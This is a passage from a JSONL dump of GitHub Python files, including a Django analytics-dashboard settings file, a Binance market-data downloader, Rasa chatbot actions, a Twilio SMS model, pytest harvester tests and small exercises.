column\n lines.append([index, item[\"Text\"]])\n column_found = True\n break\n if not column_found:\n columns.append(\n {\n \"left\": item[\"Geometry\"][\"BoundingBox\"][\"Left\"],\n \"right\": item[\"Geometry\"][\"BoundingBox\"][\"Left\"]\n + item[\"Geometry\"][\"BoundingBox\"][\"Width\"],\n }\n )\n lines.append([len(columns) - 1, item[\"Text\"]])\n\n lines.sort(key=lambda x: x[0])\n\n filtered_lines = []\n for line in lines:\n # print(line[1])\n detected_stop_words = [x for x in stopWords if x in line[1]]\n if not detected_stop_words:\n filtered_lines.append(line)\n # TODO: Create a custom iterator: https://www.programiz.com/python-programming/iterator\n iter_lines = iter(filtered_lines)\n while True:\n try:\n # get the next item\n line = next(iter_lines)\n # print(line[1])\n raise IndexError\n\n UserName = \"\"\n if \" \" not in line[1]:\n\n # print ( \"prev line:\"+line[1])\n line = next(iter_lines)\n # Sometimes the number. and names are detected separetely and not in order\n # In this case, the next line can not be the name but also number. so we iterate until there is a name\n while \" \" not in line[1]:\n line = next(iter_lines)\n\n # print ( \"next line:\"+line[1])\n UserName = line[1]\n\n else:\n UserName = line[1].split(\". \")[1] if \".\" in line[1] else line[1]\n # print(line)\n if UserName != \"\":\n # We choosed to save all the names in lower former instead of upper because of the DU stopWord\n # Indeed if upper names , all persons DU like DURAND in their names will not be detected.\n insert_dynamodb(UserName.lower(), ImageName)\n print(f\"Username={UserName}\")\n\n except StopIteration:\n break\n\n except Exception as e:\n print(e)\n errors_tab.append({str(e) + \" \" + str(line): ImageName})\n print(errors_tab)\n # print(f\"related image:{ImageName}\")\n\n return errors_tab\n\n\ndef extract_names_from_images():\n \"\"\"\n Extracts names from images using OCR.\n\n Returns:\n list: A list of names extracted from the images.\n \"\"\"\n zulip_client = zulip.Client(\n email=\"errorbot-bot@mongulu.zulipchat.com\",\n api_key=os.environ[\"API_KEY\"],\n site=\"https://mongulu.zulipchat.com\",\n )\n\n bucket_name = os.environ[\"BUCKET_NAME\"]\n Image_List = Images_in_Bucket(bucket_name)\n # Image_List = [\"communique-071218-A.jpg\"]\n for image in Image_List:\n print(f\"-------> Image name: {image}\")\n # TODO : recuperer le tableau d'erreurs et envoyer le mail\n errors_tab = Extract_Users(bucket_name, image)\n for errors in errors_tab:\n\n request = {\n \"type\": \"stream\",\n \"to\": \"mtchoun-mouh\",\n \"topic\": \"Errors\",\n \"content\": errors,\n }\n\n result = zulip_client.send_message(request)\n print(errors_tab)\n\n Delete_Image(\n bucket_name, image\n ) # so that if it executed 2 times extracted images will not be there\n Empty_Bucket(bucket_name)\n\n\nif __name__ == \"__main__\":\n extract_names_from_images()\n","repo_name":"mongulu-cm/mtchoun-mouh","sub_path":"infra/api/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":7297,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"7421981274","text":"\"\"\"Common settings and globals.\"\"\"\n\n\nfrom os.path import abspath, basename, dirname, join, normpath\nfrom sys import path\n\n\n########## PATH CONFIGURATION\n# Absolute filesystem path to the Django project directory:\nDJANGO_ROOT = dirname(dirname(abspath(__file__)))\n\n# Absolute filesystem path to the top-level project folder:\nSITE_ROOT = dirname(DJANGO_ROOT)\n\n# Site name:\nSITE_NAME = basename(DJANGO_ROOT)\n\n# Add our project to our pythonpath, this way we don't need to type our project\n# name in our dotted import paths:\npath.append(DJANGO_ROOT)\n########## END PATH CONFIGURATION\n\n\n########## DEBUG CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#debug\nDEBUG = False\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#template-debug\nTEMPLATE_DEBUG = DEBUG\n########## END DEBUG CONFIGURATION\n\n\n########## MANAGER CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#admins\nADMINS = (\n ('Your Name', 'your_email@example.com'),\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#managers\nMANAGERS = ADMINS\n########## END MANAGER CONFIGURATION\n\n\n########## DATABASE CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#databases\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.',\n 'NAME': '',\n 'USER': '',\n 'PASSWORD': '',\n 'HOST': '',\n 'PORT': '',\n }\n}\n########## END DATABASE CONFIGURATION\n\n\n########## GENERAL CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#time-zone\nTIME_ZONE = 'America/New_York'\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#language-code\nLANGUAGE_CODE = 'en-us'\n\nLOCALE_PATHS = (\n join(SITE_ROOT, 'conf', 'locale'),\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#site-id\nSITE_ID = 1\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#use-i18n\nUSE_I18N = True\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#use-l10n\nUSE_L10N = True\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#use-tz\nUSE_TZ = True\n########## END GENERAL CONFIGURATION\n\n\n########## MEDIA CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#media-root\nMEDIA_ROOT = normpath(join(SITE_ROOT, 'media'))\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#media-url\nMEDIA_URL = '/media/'\n########## END MEDIA CONFIGURATION\n\n\n########## STATIC FILE CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#static-root\nSTATIC_ROOT = normpath(join(SITE_ROOT, 'assets'))\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#static-url\nSTATIC_URL = '/static/'\n\n# See: https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/#std:setting-STATICFILES_DIRS\nSTATICFILES_DIRS = (\n normpath(join(SITE_ROOT, 'static')),\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/#staticfiles-finders\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n 'compressor.finders.CompressorFinder',\n)\n\nCOMPRESS_PRECOMPILERS = (\n ('text/x-scss', 'django_libsass.SassCompiler'),\n)\n\nCOMPRESS_CSS_FILTERS = ['compressor.filters.css_default.CssAbsoluteFilter']\n########## END STATIC FILE CONFIGURATION\n\n\n########## SECRET CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#secret-key\n# Note: This key should only be used for development and testing.\nSECRET_KEY = r\"u(laqk57)q-n7f#uwwk0rzonw&tba3-e3+h_+%+exp3b69zz(5\"\n########## END SECRET CONFIGURATION\n\n\n########## SITE CONFIGURATION\n# Hosts/domain names that are valid for this site\n# See https://docs.djangoproject.com/en/1.5/ref/settings/#allowed-hosts\nALLOWED_HOSTS = []\n########## END SITE CONFIGURATION\n\n\n########## FIXTURE CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#std:setting-FIXTURE_DIRS\nFIXTURE_DIRS = (\n normpath(join(SITE_ROOT, 'fixtures')),\n)\n########## END FIXTURE CONFIGURATION\n\n\n########## TEMPLATE CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#template-context-processors\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.contrib.auth.context_processors.auth',\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n 'django.core.context_processors.tz',\n 'django.contrib.messages.context_processors.messages',\n 'django.core.context_processors.request',\n 'analytics_dashboard.context_processors.common',\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#template-loaders\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#template-dirs\nTEMPLATE_DIRS = (\n normpath(join(SITE_ROOT, 'templates')),\n)\n\nALLOWED_INCLUDE_ROOTS = (\n normpath(join(SITE_ROOT, 'templates')),\n)\n\n########## END TEMPLATE CONFIGURATION\n\n\n########## MIDDLEWARE CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#middleware-classes\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'waffle.middleware.WaffleMiddleware',\n 'analytics_dashboard.middleware.LanguagePreferenceMiddleware',\n 'courses.middleware.CourseMiddleware',\n 'courses.middleware.CoursePermissionsExceptionMiddleware',\n 'social.apps.django_app.middleware.SocialAuthExceptionMiddleware',\n)\n########## END MIDDLEWARE CONFIGURATION\n\n\n########## URL CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#root-urlconf\nROOT_URLCONF = '%s.urls' % SITE_NAME\n########## END URL CONFIGURATION\n\n\n########## APP CONFIGURATION\nDJANGO_APPS = (\n # Default Django apps:\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n # Useful template tags:\n 'django.contrib.humanize',\n\n # Admin panel and documentation:\n 'django.contrib.admin',\n 'waffle'\n)\n\n# Apps specific for this project go here.\nLOCAL_APPS = (\n 'analytics_dashboard',\n 'courses',\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#installed-apps\nINSTALLED_APPS = DJANGO_APPS + LOCAL_APPS\n########## END APP CONFIGURATION\n\n\n########## LOGGING CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#logging\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error when DEBUG=False.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n }\n}\n########## END LOGGING CONFIGURATION\n\n\n########## WSGI CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#wsgi-application\nWSGI_APPLICATION = '%s.wsgi.application' % SITE_NAME\n########## END WSGI CONFIGURATION\n\n########## SEGMENT.IO\n# 'None' disables tracking. This will be turned on for test and production.\nSEGMENT_IO_KEY = None\n########## END SEGMENT.IO\n\n########## FEEDBACK AND SUPPORT -- These values should be overridden for production deployments.\nFEEDBACK_EMAIL = 'override.this.email@example.com'\nSUPPORT_URL = 'http://example.com/'\nPRIVACY_POLICY_URL = 'http://example.com/'\nTERMS_OF_SERVICE_URL = 'http://example.com/'\nHELP_URL = None\n########## END FEEDBACK\n\n\n########## SOUTH CONFIGURATION\n# See: http://south.readthedocs.org/en/latest/installation.html#configuring-your-django-installation\nINSTALLED_APPS += (\n # Database migration helpers:\n 'south',\n 'compressor',\n)\n# Don't need to use South when setting up a test database.\nSOUTH_TESTS_MIGRATE = False\n########## END SOUTH CONFIGURATION\n\n\n########## DATA API CONFIGURATION\nDATA_API_URL = 'http://127.0.0.1:9001/api/v0'\nDATA_API_AUTH_TOKEN = 'edx'\n########## END DATA API CONFIGURATION\n\n# Used to determine how dates are displayed in templates\nDATE_FORMAT = 'F d, Y'\n\n########## AUTHENTICATION\nAUTH_USER_MODEL = 'analytics_dashboard.User'\n\nINSTALLED_APPS += ('social.apps.django_app.default',)\n\n# Allow authentication via edX OAuth2/OpenID Connect\nAUTHENTICATION_BACKENDS = (\n 'analytics_dashboard.backends.EdXOpenIdConnect',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\n# Set to true if using SSL and running behind a proxy\nSOCIAL_AUTH_REDIRECT_IS_HTTPS = False\n\nSOCIAL_AUTH_ADMIN_USER_SEARCH_FIELDS = ['username', 'email']\n\nSOCIAL_AUTH_PIPELINE = (\n 'social.pipeline.social_auth.social_details',\n 'social.pipeline.social_auth.social_uid',\n 'social.pipeline.social_auth.auth_allowed',\n 'social.pipeline.social_auth.social_user',\n\n # By default python-social-auth will simply create a new user/username if the username\n # from the provider conflicts with an existing username in this system. This custom pipeline function\n # loads existing users instead of creating new ones.\n 'analytics_dashboard.pipeline.get_user_if_exists',\n 'social.pipeline.user.get_username',\n 'social.pipeline.user.create_user',\n 'social.pipeline.social_auth.associate_user',\n 'social.pipeline.social_auth.load_extra_data',\n 'social.pipeline.user.user_details'\n)\n\nSOCIAL_AUTH_USER_FIELDS = ['username', 'email', 'first_name', 'last_name']\n\nSOCIAL_AUTH_LOGIN_ERROR_URL = '/auth/error/'\n\n# Set these to the correct values for your OAuth2/OpenID Connect provider\nSOCIAL_AUTH_EDX_OIDC_KEY = None\nSOCIAL_AUTH_EDX_OIDC_SECRET = None\nSOCIAL_AUTH_EDX_OIDC_URL_ROOT = None\n\n# This value should be the same as SOCIAL_AUTH_EDX_OIDC_SECRET\nSOCIAL_AUTH_EDX_OIDC_ID_TOKEN_DECRYPTION_KEY = None\n\n# Enables a special view that, when accessed, creates and logs in a new user.\n# This should NOT be enabled for production deployments!\nENABLE_AUTO_AUTH = False\n\n# Maximum time (in seconds) before course permissions expire and need to be refreshed\nCOURSE_PERMISSIONS_TIMEOUT = 900\n\nLOGIN_REDIRECT_URL = '/courses/'\n\n# Determines if course permissions should be checked before rendering course views.\nENABLE_COURSE_PERMISSIONS = True\n\n# What scopes and claims should be used to get courses\nCOURSE_PERMISSIONS_SCOPE = ['course_staff']\nCOURSE_PERMISSIONS_CLAIMS = ['staff_courses']\n\n########## END AUTHENTICATION\n\n# The application and platform display names to be used in templates, emails, etc.\nPLATFORM_NAME = 'Your Platform Name Here'\nAPPLICATION_NAME = 'Insights'\nFULL_APPLICATION_NAME = '{0} {1}'.format(PLATFORM_NAME, APPLICATION_NAME)\n","repo_name":"xiandiancloud/edx-analytics-dashboard","sub_path":"analytics_dashboard/analytics_dashboard/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":11390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"31837559054","text":"# 交易所:币安\n# 时间:每日0930更新昨日数据\n# 类别:现货\n# 币对:所有USDT标价\n# 周期:5m,30m,1h\n\nimport pandas as pd\nimport ccxt\nimport time\nimport os\nimport datetime\nfrom dingmsg import *\npd.set_option('expand_frame_repr', False)\n\nbinance = ccxt.binance() # 创建交易所\n\n# 构造日期格式\nyesterday_date = datetime.date.today() - datetime.timedelta(days=1)\nstart_time = str(yesterday_date) + ' 00:00:00'\nend_time = str(datetime.date.today()) + ' 00:00:00'\nstart = binance.parse8601(start_time) # 币安的时间格式\nend = binance.parse8601(end_time)\n\n# 获取交割合约信息\nspot_list = binance.load_markets() # 获取交易合约信息\nmarket = pd.DataFrame(spot_list).T # 转换为DF\nsymbol_list = list(market['id']) # 抽取symbol列转为列表\nsymbol_list = list(filter(lambda x: x.endswith('USDT'), symbol_list)) # 只保留USDT标价的货币\n\n\n# ===构造参数列表\nparams_list = []\ntime_interval = ['5m', '30m', '1h'] # K线周期\nfor s in symbol_list:\n for t in time_interval:\n params = {\n 'symbol': s, # 币对\n 'interval': t, # 周期\n 'startTime': start, # 开始时间\n 'endTime': end # 结束时间\n } # 参数格式各个交易所不同\n params_list.append(params)\n\n\nerror_list = [] # 创建错误列表\n\n\nfor params in params_list:\n path = r'C:\\Users\\Administrator\\PycharmProjects\\AK_DIGICCY\\data\\history_candle_data_XBX'\n df_list = []\n print(params)\n try:\n while True:\n # 获取数据\n df = binance.publicGetKlines(params=params)\n # 整理数据\n df = pd.DataFrame(df, dtype=float) # 将数据转换为dataframe\n df['candle_begin_time'] = pd.to_datetime(df[0], unit='ms') # 整理时间\n # 合并数据\n df_list.append(df)\n # 新的start\n t = pd.to_datetime(df.iloc[-1][0], unit='ms')\n params['startTime'] = binance.parse8601(str(t))\n # 判断是否挑出循环\n if t >= pd.to_datetime(params['endTime'], unit='ms') or df.shape[0] <= 1:\n break\n time.sleep(1) # 暂停n秒,防止抓取过于频繁导致报错\n\n df = pd.concat(df_list, ignore_index=True) # 合并数据\n df.rename(columns={1: 'open', 2: 'high', 3: 'low', 4: 'close', 5: 'volume',\n 7: 'quote_volume', 8: 'trade_num', 9: 'taker_buy_base_asset_volume',\n 10: 'taker_buy_quote_asset_volume'}, inplace=True) # 重命名\n df.drop_duplicates(subset=['candle_begin_time'], keep='last', inplace=True) # 去重\n df = df[['candle_begin_time', 'open', 'high', 'low', 'close', 'volume', 'quote_volume', 'trade_num',\n 'taker_buy_base_asset_volume', 'taker_buy_quote_asset_volume']] # 保留有用的列\n df.sort_values('candle_begin_time', inplace=True) # 排序\n df.reset_index(drop=True, inplace=True) # 重置\n\n\n # ===保存数据到文件\n # 创建交易所文件夹\n path = os.path.join(path, 'binance')\n if os.path.exists(path) is False:\n os.mkdir(path)\n # 创建spot文件夹\n path = os.path.join(path, 'spot')\n if os.path.exists(path) is False:\n os.mkdir(path)\n # 创建日期文件夹\n path = os.path.join(path, str(pd.to_datetime(df.iloc[0][0]).date()))\n if os.path.exists(path) is False:\n os.mkdir(path)\n # 拼接文件目录\n file_name = params['symbol'][:-4] + '-' + params['symbol'][-4:] + '_' + params['interval'] + '.csv'\n path = os.path.join(path, file_name)\n # 保存数据\n pd.DataFrame(columns=['数据由AK整理']).to_csv(path, index=False, encoding='gbk')\n df.to_csv(path, index=False, mode='a', encoding='gbk')\n print(path)\n except Exception as e:\n print(e)\n error_list.append(params['symbol'] + '_' + params['interval'])\nprint(error_list)\n\ncontent = 'AK哥!\\n币安现货数据更新完毕!'\nsend_dingding_msg_QC(content)","repo_name":"rainly/Bitcoin","sub_path":"00_币安现货数据每日更新.py","file_name":"00_币安现货数据每日更新.py","file_ext":"py","file_size_in_byte":4118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11797110080","text":"# Napište (čistou) funkci ‹survivors›, ktorá ze vstupního seznamu\n# ‹objects› spočítá nový seznam, který bude obsahovat všechny prvky\n# z ‹objects›, které jsou dostatečně vzdálené (dále než ‹radius›) od\n# bodu ‹center›.\n#\n# Můžete si představit, že funkce implementuje herní mechaniku, kdy\n# v bodě ‹center› nastala exploze tvaru koule, která zničila vše\n# uvnitř poloměru ‹radius›, a funkce ‹survivors› vrátí všechny\n# objekty, které explozi přežily.\n#\n# Prvky parametru ‹objects› a parametr ‹center› jsou uspořádané\n# trojice, které reprezentují body v prostoru.\n\ndef distance(a, b):\n x, y, z = a\n x1, y1, z1 = b\n return ((x-x1)**2+(y-y1)**2+(z-z1)**2)**(1/2)\n\ndef survivors(objects, center, radius):\n survived = []\n for i in (objects):\n if distance(i, center) > radius:\n survived.append(i)\n return survived\n \n \ndef main():\n assert survivors([(1, 0, 0), (2, 1, 1)], (0, 0, 0), 1) \\\n == [(2, 1, 1)]\n assert survivors([(3, 2, 3)], (0, 0, 0), 1) == [(3, 2, 3)]\n assert survivors([(1, 1, 1), (0, 0, 1), (2, 0, 0)],\n (0, 0, 0), 2) \\\n == []\n assert survivors([], (0, 0, 0), 25) == []\n assert survivors([(4, 1, 1), (-2, 1, 1), (4, 4, 4)], (1, 1, 1), 3) \\\n == [(4, 4, 4)]\n assert survivors([(0, 0, 1), (2, 0, 0), (1, 2, 1), (3, 0, 0)],\n (1, 0, 1), 2) \\\n == [(3, 0, 0)]\n assert survivors([(0, 3, 1), (2, 2, 0), (0, 2, 1), (3, 0, 1)],\n (1, -2, 1), 4) \\\n == [(0, 3, 1), (2, 2, 0), (0, 2, 1)]\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"majoporse/uni","sub_path":"ib111/03/e2_explosion.py","file_name":"e2_explosion.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40058747904","text":"# This files contains your custom actions which can be used to run\n# custom Python code.\n#\n# See this guide on how to implement these action:\n# https://rasa.com/docs/rasa/custom-actions\n\n\n# This is a simple example for a custom action which utters \"Hello World!\"\nimport datetime as dt\nimport os \nimport requests \nimport re\n\nfrom typing import Any, Text, Dict, List\nfrom rasa_sdk import Action, Tracker\nfrom dotenv import load_dotenv\nfrom rasa_sdk.executor import CollectingDispatcher\n# from rasa_sdk.events import SlotSet\nfrom rasa_sdk.events import AllSlotsReset\n\nclass ActionSessionStart(Action):\n\n def name(self) -> Text:\n return \"action_session_start\"\n\n async def run(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> List[Dict[Text, Any]]:\n\n dispatcher.utter_message(text=\"Que gusto saludarte, mi función principal es brindar soporte, puedes:\\n -Preguntarme por la hora o el clima\\n -Preguntarme por la disponibilidad de laboratorios\")\n\n return []\n \n\nclass ActionShowTime(Action):\n \n def name(self) -> Text:\n return \"action_show_time\"\n\n def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n hora_actual = dt.datetime.now().time()\n\n hours = hora_actual.strftime(\"%H:%M:%S\")\n\n dispatcher.utter_message(text=\"La hora actualmente es: \"+f\"{hours}\")\n\n return []\n\nclass ActionAskWeather(Action):\n\n def name(self) -> Text:\n return \"action_ask_weather\"\n\n def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n \n # consultamos la API https://openweathermap.org/current\n user_input = tracker.latest_message['text']\n city_name = tracker.get_slot('canton')\n regex_climate = r\"\\b([Tt]emperatura|[Cc]lima|[Ff]r[ií]o|[Cc]alor|[Cc]lim[aá]tico)\\b\"\n\n match_climate = re.search(regex_climate, user_input)\n if city_name is None: # if match_climate:\n # send a default message to the user\n dispatcher.utter_message(text=\"Lo siento no entendí, podrías formular tu solicitud de nuevo?\")\n else:\n if match_climate:\n load_dotenv()\n api_key = os.getenv(\"WEATHER_API_KEY\")\n state_code = ''\n country_code = 'EC'\n lang = 'es'\n units = 'metric'\n \n payload = { 'q': f'{city_name},{state_code},{country_code}', \n 'appid': api_key,\n 'lang': lang,\n 'units': units\n }\n\n r = requests.get(\n 'http://api.openweathermap.org/data/2.5/weather?',\n params=payload\n )\n response = r.json()\n\n if response.get('cod') == 200:\n T_max = response['main']['temp_max']\n T_min = response['main']['temp_min']\n weather = response['weather'][0]['description']\n message = f\"Según mi informacion, en el cantón {city_name}\"\n message += f\" tendremos un clima con {weather}, \"\n message += f\"y una temperatura entre {T_min} y {T_max} °C.\"\n else:\n message = 'Lo siento, no encontré información disponible.'\n dispatcher.utter_message(text=message)\n\n else: \n dispatcher.utter_message(text=\"Lo siento no tengo inforamcion del clima de esa ciudad\") \n\n # Lo siento no entendí, podrías formular tu solicitud de nuevo?\"\n \n\n return [AllSlotsReset()]\n\n\n\n\n\n","repo_name":"pizzita/nlubot","sub_path":"actions/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"17152270799","text":"import os\nfrom django.db import models\nfrom twilio.rest import Client\n\n# Create your models here.\n\nclass UserText(models.Model):\n number_to = models.CharField(max_length=11)\n # text_message = models.CharField(max_length=160)\n \n\n def send_text(self, *args, **kwargs):\n\n account_sid = os.environ['TWILIO_ACCOUNT_SID']\n auth_token = os.environ['TWILIO_AUTH_TOKEN']\n number_from = os.environ['TWILIO_NUMBER']\n messaging_service_sid = os.environ['TWILIO_MESSAGING_SERVICE_SID']\n\n \n client = Client(account_sid, auth_token)\n\n message = client.messages.create( \n messaging_service_sid,\n body='test', \n to='+17173412994' \n ) \n\n print(message.sid)\n return super().save(*args, **kwargs)\n\n\n\n def __str__(self):\n return '{}'.format( self.number_to) \n\n\n\n","repo_name":"jmorris-dev/smstodo","sub_path":"smsapp/app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18738940224","text":"from unittest.mock import MagicMock\n\nimport pytest\n\nfrom src.general_harvester import GeneralHarvester\nfrom src.harvest_wrappers import safe_harvest\n\n\n@pytest.fixture\ndef harvester(mocker) -> GeneralHarvester:\n mocker.patch(\n \"src.general_harvester.get_last_harvest_times\",\n return_value={},\n )\n yield GeneralHarvester(\n web3=MagicMock(),\n keeper_acl=\"0x\",\n keeper_address=\"0x\",\n )\n\n\ndef test_safe_harvest_happy(harvester):\n \"\"\"\n Simple unit to check that all important harvester methods are called\n \"\"\"\n\n harvester.harvest = MagicMock()\n harvester.harvest_no_return = MagicMock()\n harvester.tend_then_harvest = MagicMock()\n\n assert safe_harvest(harvester, MagicMock()) == \"Success!\"\n\n assert harvester.harvest.called\n assert not harvester.harvest_no_return.called\n assert not harvester.tend_then_harvest.called\n\n\ndef test_safe_harvest_fail(harvester):\n \"\"\"\n Simple unit to check that if harvest() fails, harvest_no_return is called as well\n \"\"\"\n harvester.harvest = MagicMock(side_effect=Exception)\n harvester.harvest_no_return = MagicMock()\n harvester.tend_then_harvest = MagicMock()\n\n assert safe_harvest(harvester, MagicMock()) == \"Success!\"\n\n assert harvester.harvest.called\n assert harvester.harvest_no_return.called\n assert not harvester.tend_then_harvest.called\n\n\ndef test_safe_harvest_fail_no_return(harvester):\n \"\"\"\n Simple unit to check that if harvest() and harvest_no_return fail, tend_then_harvest()\n is called\n \"\"\"\n harvester.harvest = MagicMock(side_effect=Exception)\n harvester.harvest_no_return = MagicMock(side_effect=Exception)\n harvester.tend_then_harvest = MagicMock()\n\n assert safe_harvest(harvester, MagicMock()) == \"Success!\"\n\n assert harvester.harvest.called\n assert harvester.harvest_no_return.called\n assert harvester.tend_then_harvest.called\n\n\ndef test_safe_harvest_all_fail(harvester):\n \"\"\"\n Case when everything fails :(\n \"\"\"\n harvester.harvest = MagicMock(side_effect=Exception)\n harvester.harvest_no_return = MagicMock(side_effect=Exception)\n harvester.tend_then_harvest = MagicMock(side_effect=Exception)\n # No success string\n assert safe_harvest(harvester, MagicMock()) is None\n\n assert harvester.harvest.called\n assert harvester.harvest_no_return.called\n assert harvester.tend_then_harvest.called\n","repo_name":"Badger-Finance/python-keepers","sub_path":"tests/test_harvest_wrappers.py","file_name":"test_harvest_wrappers.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"32030606904","text":"#!/usr/bin/env python3\n\n# Write a method to sort an array of strings so that all the anagrams are next to each other.\n\nimport unittest\n\nclass SortAnagram:\n def __init__(self, anagrams):\n self.anagrams = anagrams\n\n def sort(self):\n anagram_dict = {}\n for word in self.anagrams:\n sorted_word = \"\".join(sorted([char for char in word]))\n if sorted_word in anagram_dict:\n anagram_dict[sorted_word].append(word)\n else:\n anagram_dict[sorted_word] = [word]\n \n self.anagrams = []\n for key, val in anagram_dict.items():\n for v in val:\n self.anagrams.append(v)\n return self.anagrams\n\n\nclass TestSortAnagram(unittest.TestCase):\n def test_sort(self):\n expected = [\"axyz\",\"zyxa\",\"evil\",\"live\",\"kcuf\",\"fuck\"]\n array = [\"axyz\",\"evil\",\"live\",\"kcuf\",\"zyxa\", \"fuck\"]\n\n sa = SortAnagram(array)\n sa.sort()\n self.assertEqual(sa.anagrams, expected)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"rodcoelho/python-practice","sub_path":"cracking_coding_interview/ch_9/prob_2.py","file_name":"prob_2.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"24715856689","text":"import torch\nfrom torch.utils.data import Dataset\n\nclass NMTDataset(Dataset):\n def __init__(\n self,\n data,\n tokenizer,\n max_length,\n src_old2new,\n tgt_old2new,\n ignore_index,\n ):\n self.data = data\n self.tokenizer = tokenizer\n self.max_length = max_length\n self.src_old2new = src_old2new\n self.tgt_old2new = tgt_old2new\n self.ignore_index = ignore_index\n\n start_token_id = tokenizer.sep_token_id\n self.start_token_id = tgt_old2new[str(start_token_id)]\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n sample_id = self.data[idx][\"id\"]\n src_text = self.data[idx][\"translation\"][\"en\"]\n tgt_text =self.data[idx][\"translation\"][\"fr\"]\n\n item = {\"id\": sample_id, \"src_text\": src_text, \"tgt_text\": tgt_text}\n\n return item\n\n def generate_batch(self, item_list):\n src_text_list = [x[\"src_text\"] for x in item_list]\n tgt_text_list = [x[\"tgt_text\"] for x in item_list]\n\n src_tokenized_text = self.tokenizer(\n src_text_list,\n add_special_tokens=False,\n padding=True,\n truncation=True,\n max_length=self.max_length,\n )\n\n tgt_tokenized_text = self.tokenizer(\n tgt_text_list,\n add_special_tokens=False,\n padding=True,\n truncation=True,\n max_length=self.max_length,\n )\n\n encoder_input_ids = src_tokenized_text.input_ids\n new_encoder_input_ids = [[self.src_old2new[str(old_id)] for old_id in x] for x in encoder_input_ids]\n \n tgt_text_ids = tgt_tokenized_text.input_ids\n 